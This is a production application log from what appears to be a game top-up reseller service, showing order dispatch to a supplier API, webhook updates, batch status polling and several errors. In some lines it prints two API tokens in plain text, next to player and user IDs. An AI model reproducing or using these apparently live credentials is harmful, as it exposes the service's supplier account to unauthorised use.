[2026-03-24 00:14:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"3QwfitOXrLaF4j0jxDetgXXRBbWMHxYC","execution_time":"2026-03-24 00:14:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 00:14:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"3QwfitOXrLaF4j0jxDetgXXRBbWMHxYC","execution_time":"2026-03-24 00:14:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:14:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"3QwfitOXrLaF4j0jxDetgXXRBbWMHxYC","execution_time":"2026-03-24 00:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 00:14:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"3QwfitOXrLaF4j0jxDetgXXRBbWMHxYC","execution_time":"2026-03-24 00:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:14:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"3QwfitOXrLaF4j0jxDetgXXRBbWMHxYC","execution_time":"2026-03-24 00:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:14:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"3QwfitOXrLaF4j0jxDetgXXRBbWMHxYC","execution_time":"2026-03-24 00:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:14:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"3QwfitOXrLaF4j0jxDetgXXRBbWMHxYC","execution_time":"2026-03-24 00:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:14:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"3QwfitOXrLaF4j0jxDetgXXRBbWMHxYC","execution_time":"2026-03-24 00:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 00:14:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"3QwfitOXrLaF4j0jxDetgXXRBbWMHxYC","execution_time":"2026-03-24 00:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:14:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"3QwfitOXrLaF4j0jxDetgXXRBbWMHxYC","execution_time":"2026-03-24 00:14:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:14:13] production.INFO: SendAcceptReject: Notification queued {"user_id":802,"notification_type":"request_approved","reference_id":18591} 
[2026-03-24 00:14:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 802  
[2026-03-24 00:14:21] production.INFO: SendAcceptReject: Notification queued {"user_id":1706,"notification_type":"request_approved","reference_id":18592} 
[2026-03-24 00:14:24] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1706  
[2026-03-24 00:14:43] production.INFO: Constructing job for order: 178466  
[2026-03-24 00:14:45] production.INFO: Handling job for order: 178466  
[2026-03-24 00:14:45] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:14:45] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:14:45] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=acd50fcc-4342-4c15-8ad9-4996d0ce3cdc&Player_ID=1556510466  
[2026-03-24 00:14:45] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=acd50fcc-4342-4c15-8ad9-4996d0ce3cdc&Player_ID=1556510466","has_body":false} 
[2026-03-24 00:14:46] production.INFO: Operation sent successfully {"operation_id":163399,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-44n9PYO-1774300485","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 00:14:46"}},"processed_data":{"order_number":"ORD-44n9PYO-1774300485","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 00:14:51] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-44n9PYO-1774300485","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 00:14:51] production.INFO: Processed webhook data (normalized) {"id":"ORD-44n9PYO-1774300485","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 00:14:51] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:14:51] production.INFO: SendAcceptReject: Notification queued {"user_id":1071,"notification_type":"order_approved","reference_id":178466} 
[2026-03-24 00:14:51] production.INFO: Order updated successfully. Order ID: 178466, Status: completed  
[2026-03-24 00:14:51] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-44n9PYO-1774300485","status":"completed","codes_count":0} 
[2026-03-24 00:14:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1071  
[2026-03-24 00:15:04] production.INFO: Executing GetProducts task...  
[2026-03-24 00:15:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 00:15:04] production.INFO: Executing GetProducts task...  
[2026-03-24 00:15:06] production.INFO: async() رجع: true  
[2026-03-24 00:15:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 00:15:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 00:15:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 00:15:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 00:15:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 00:15:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 00:15:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 00:15:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 00:15:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 00:15:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 00:15:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 00:15:08] production.INFO: SendAcceptReject: Notification queued {"user_id":1637,"notification_type":"order_rejected","reference_id":178447} 
[2026-03-24 00:15:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1637  
[2026-03-24 00:15:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1637  
[2026-03-24 00:15:13] production.INFO: SendAcceptReject: Notification queued {"user_id":1298,"notification_type":"order_rejected","reference_id":178464} 
[2026-03-24 00:15:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1298  
[2026-03-24 00:15:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1298  
[2026-03-24 00:15:19] production.INFO: SendAcceptReject: Notification queued {"user_id":45,"notification_type":"order_rejected","reference_id":178465} 
[2026-03-24 00:15:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 45  
[2026-03-24 00:15:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 45  
[2026-03-24 00:16:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"DRG7XOODVGDvUuSHCctO1FBefU63ZrjD","execution_time":"2026-03-24 00:16:04"} 
[2026-03-24 00:16:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"DRG7XOODVGDvUuSHCctO1FBefU63ZrjD","execution_time":"2026-03-24 00:16:04","total_operations":4,"sites_count":1} 
[2026-03-24 00:16:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"DRG7XOODVGDvUuSHCctO1FBefU63ZrjD","execution_time":"2026-03-24 00:16:04","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 00:16:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"DRG7XOODVGDvUuSHCctO1FBefU63ZrjD","execution_time":"2026-03-24 00:16:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:16:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"DRG7XOODVGDvUuSHCctO1FBefU63ZrjD","execution_time":"2026-03-24 00:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 00:16:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"DRG7XOODVGDvUuSHCctO1FBefU63ZrjD","execution_time":"2026-03-24 00:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:16:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"DRG7XOODVGDvUuSHCctO1FBefU63ZrjD","execution_time":"2026-03-24 00:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:16:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"DRG7XOODVGDvUuSHCctO1FBefU63ZrjD","execution_time":"2026-03-24 00:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:16:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"DRG7XOODVGDvUuSHCctO1FBefU63ZrjD","execution_time":"2026-03-24 00:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:16:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"DRG7XOODVGDvUuSHCctO1FBefU63ZrjD","execution_time":"2026-03-24 00:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 00:16:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"DRG7XOODVGDvUuSHCctO1FBefU63ZrjD","execution_time":"2026-03-24 00:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:16:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"DRG7XOODVGDvUuSHCctO1FBefU63ZrjD","execution_time":"2026-03-24 00:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:17:40] production.INFO: Constructing job for order: 178467  
[2026-03-24 00:17:41] production.INFO: Handling job for order: 178467  
[2026-03-24 00:17:41] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:17:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:17:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/97/params?qty=1760&uuid=1ae09f24-8e6d-498b-9d77-b59800dd7902&Player_ID=818958387  
[2026-03-24 00:17:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/97/params?qty=1760&uuid=1ae09f24-8e6d-498b-9d77-b59800dd7902&Player_ID=818958387","has_body":false} 
[2026-03-24 00:17:41] production.INFO: Operation sent successfully {"operation_id":163400,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-XjP-1774300661","amount":1.8379315680000001265170794795267283916473388671875,"status":"processing","product":"PartyStar Amount","game":"PartyStar","notes":[],"created_at":"2026-03-24 00:17:41"}},"processed_data":{"order_number":"ORD-XjP-1774300661","amount":1.8379315680000001265170794795267283916473388671875,"status":"processing","product":"PartyStar Amount","game":"PartyStar"}} 
[2026-03-24 00:18:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"b9JdFbt0d1CjQMA2BPln30yHEsNV0Lo0","execution_time":"2026-03-24 00:18:02"} 
[2026-03-24 00:18:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"b9JdFbt0d1CjQMA2BPln30yHEsNV0Lo0","execution_time":"2026-03-24 00:18:02","total_operations":5,"sites_count":1} 
[2026-03-24 00:18:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"b9JdFbt0d1CjQMA2BPln30yHEsNV0Lo0","execution_time":"2026-03-24 00:18:02","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-XjP-1774300661"]} 
[2026-03-24 00:18:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"b9JdFbt0d1CjQMA2BPln30yHEsNV0Lo0","execution_time":"2026-03-24 00:18:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:18:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"b9JdFbt0d1CjQMA2BPln30yHEsNV0Lo0","execution_time":"2026-03-24 00:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 00:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"b9JdFbt0d1CjQMA2BPln30yHEsNV0Lo0","execution_time":"2026-03-24 00:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"b9JdFbt0d1CjQMA2BPln30yHEsNV0Lo0","execution_time":"2026-03-24 00:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"b9JdFbt0d1CjQMA2BPln30yHEsNV0Lo0","execution_time":"2026-03-24 00:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"b9JdFbt0d1CjQMA2BPln30yHEsNV0Lo0","execution_time":"2026-03-24 00:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"b9JdFbt0d1CjQMA2BPln30yHEsNV0Lo0","execution_time":"2026-03-24 00:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XjP-1774300661","operation_id":163400} 
[2026-03-24 00:18:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"b9JdFbt0d1CjQMA2BPln30yHEsNV0Lo0","execution_time":"2026-03-24 00:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XjP-1774300661","operation_id":163400,"processed":0,"skipped":5,"updates_prepared":0} 
[2026-03-24 00:18:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"b9JdFbt0d1CjQMA2BPln30yHEsNV0Lo0","execution_time":"2026-03-24 00:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XjP-1774300661","operation_id":163400,"processed":0,"errors":0} 
[2026-03-24 00:18:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"b9JdFbt0d1CjQMA2BPln30yHEsNV0Lo0","execution_time":"2026-03-24 00:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XjP-1774300661","operation_id":163400} 
[2026-03-24 00:18:42] production.INFO: Constructing job for order: 178468  
[2026-03-24 00:18:45] production.INFO: Handling job for order: 178468  
[2026-03-24 00:18:45] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 00:18:45] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:18:45] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/36/params?qty=1&uuid=8295a294-c12c-4755-a13b-398ae658f4fc&Player_ID=0983897412  
[2026-03-24 00:18:45] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/36/params?qty=1&uuid=8295a294-c12c-4755-a13b-398ae658f4fc&Player_ID=0983897412","has_body":false} 
[2026-03-24 00:18:45] production.ERROR: ❌ Missing required field: order_number for site: swgamessls {"available_fields":["error","message"],"required_fields":["order_number","amount","status"]} 
[2026-03-24 00:18:45] production.ERROR: 🚨 Failed to reject order on parse error {"operation_id":163401,"exception":"Unknown named parameter $userId"} 
[2026-03-24 00:18:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1235  
[2026-03-24 00:18:47] production.INFO: Constructing job for order: 178469  
[2026-03-24 00:18:48] production.INFO: Handling job for order: 178469  
[2026-03-24 00:18:48] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:18:48] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:18:48] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=23111&uuid=975b705f-fa85-4fc5-8b59-6c9820e4e226&Player_ID=588947099  
[2026-03-24 00:18:48] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=23111&uuid=975b705f-fa85-4fc5-8b59-6c9820e4e226&Player_ID=588947099","has_body":false} 
[2026-03-24 00:18:49] production.INFO: Operation sent successfully {"operation_id":163402,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-7tR-1774300729","amount":2.34593983250000004403545972309075295925140380859375,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 00:18:49"}},"processed_data":{"order_number":"ORD-7tR-1774300729","amount":2.34593983250000004403545972309075295925140380859375,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 00:19:43] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"1500.0","mainamount":"1500","operation_number":"600430572995","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpu16jq5n3c4e2azpBKCX"}},"user_id":802} 
[2026-03-24 00:19:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 00:19:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 00:19:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 00:19:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 00:19:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 00:19:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 00:19:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 00:19:43] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 00:19:43] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18593,"user_id":802,"amount":1500.0,"admins_notified":7} 
[2026-03-24 00:20:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"3CtOJrDQQgwnJHQyW6AfG0o79omzl1XL","execution_time":"2026-03-24 00:20:01"} 
[2026-03-24 00:20:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"3CtOJrDQQgwnJHQyW6AfG0o79omzl1XL","execution_time":"2026-03-24 00:20:01","total_operations":6,"sites_count":1} 
[2026-03-24 00:20:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"3CtOJrDQQgwnJHQyW6AfG0o79omzl1XL","execution_time":"2026-03-24 00:20:01","site_id":3,"site_name":"swgamessd","orders_count":6,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-XjP-1774300661","ORD-7tR-1774300729"]} 
[2026-03-24 00:20:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"3CtOJrDQQgwnJHQyW6AfG0o79omzl1XL","execution_time":"2026-03-24 00:20:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:20:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"3CtOJrDQQgwnJHQyW6AfG0o79omzl1XL","execution_time":"2026-03-24 00:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":6} 
[2026-03-24 00:20:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"3CtOJrDQQgwnJHQyW6AfG0o79omzl1XL","execution_time":"2026-03-24 00:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-7tR-1774300729","operation_id":163402} 
[2026-03-24 00:20:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"3CtOJrDQQgwnJHQyW6AfG0o79omzl1XL","execution_time":"2026-03-24 00:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:20:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"3CtOJrDQQgwnJHQyW6AfG0o79omzl1XL","execution_time":"2026-03-24 00:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:20:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"3CtOJrDQQgwnJHQyW6AfG0o79omzl1XL","execution_time":"2026-03-24 00:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:20:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"3CtOJrDQQgwnJHQyW6AfG0o79omzl1XL","execution_time":"2026-03-24 00:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:20:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"3CtOJrDQQgwnJHQyW6AfG0o79omzl1XL","execution_time":"2026-03-24 00:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XjP-1774300661","operation_id":163400,"processed":1,"skipped":5,"updates_prepared":1} 
[2026-03-24 00:20:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"3CtOJrDQQgwnJHQyW6AfG0o79omzl1XL","execution_time":"2026-03-24 00:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XjP-1774300661","operation_id":163400,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 00:20:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"3CtOJrDQQgwnJHQyW6AfG0o79omzl1XL","execution_time":"2026-03-24 00:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XjP-1774300661","operation_id":163400,"count":1} 
[2026-03-24 00:20:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"3CtOJrDQQgwnJHQyW6AfG0o79omzl1XL","execution_time":"2026-03-24 00:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XjP-1774300661","operation_id":163400,"count":1} 
[2026-03-24 00:20:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"3CtOJrDQQgwnJHQyW6AfG0o79omzl1XL","execution_time":"2026-03-24 00:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XjP-1774300661","operation_id":163400,"user_id":385,"notification_type":"order_approved","reference_id":178467} 
[2026-03-24 00:20:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"3CtOJrDQQgwnJHQyW6AfG0o79omzl1XL","execution_time":"2026-03-24 00:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XjP-1774300661","operation_id":163400,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 00:20:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"3CtOJrDQQgwnJHQyW6AfG0o79omzl1XL","execution_time":"2026-03-24 00:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XjP-1774300661","operation_id":163400,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 00:20:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"3CtOJrDQQgwnJHQyW6AfG0o79omzl1XL","execution_time":"2026-03-24 00:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XjP-1774300661","operation_id":163400,"processed":1,"errors":0} 
[2026-03-24 00:20:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"3CtOJrDQQgwnJHQyW6AfG0o79omzl1XL","execution_time":"2026-03-24 00:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XjP-1774300661","operation_id":163400,"processed":1,"errors":0} 
[2026-03-24 00:20:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"3CtOJrDQQgwnJHQyW6AfG0o79omzl1XL","execution_time":"2026-03-24 00:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XjP-1774300661","operation_id":163400} 
[2026-03-24 00:20:01] production.INFO: Executing GetProducts task...  
[2026-03-24 00:20:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 00:20:01] production.INFO: Executing GetProducts task...  
[2026-03-24 00:20:03] production.INFO: async() رجع: true  
[2026-03-24 00:20:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 00:20:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 00:20:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 00:20:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 00:20:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 00:20:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 00:20:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 00:20:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 00:20:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 00:20:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 00:20:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 00:20:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 385  
[2026-03-24 00:21:16] production.ERROR: Order Failed: No query results for model [App\Models\Product].  
[2026-03-24 00:21:19] production.INFO: Constructing job for order: 178470  
[2026-03-24 00:21:22] production.INFO: Handling job for order: 178470  
[2026-03-24 00:21:22] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:21:22] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:21:22] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/58/params?qty=1&uuid=2dfc344e-f88e-483e-8904-a0c15b6ad58a&Player_ID=51278737357  
[2026-03-24 00:21:22] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/58/params?qty=1&uuid=2dfc344e-f88e-483e-8904-a0c15b6ad58a&Player_ID=51278737357","has_body":false} 
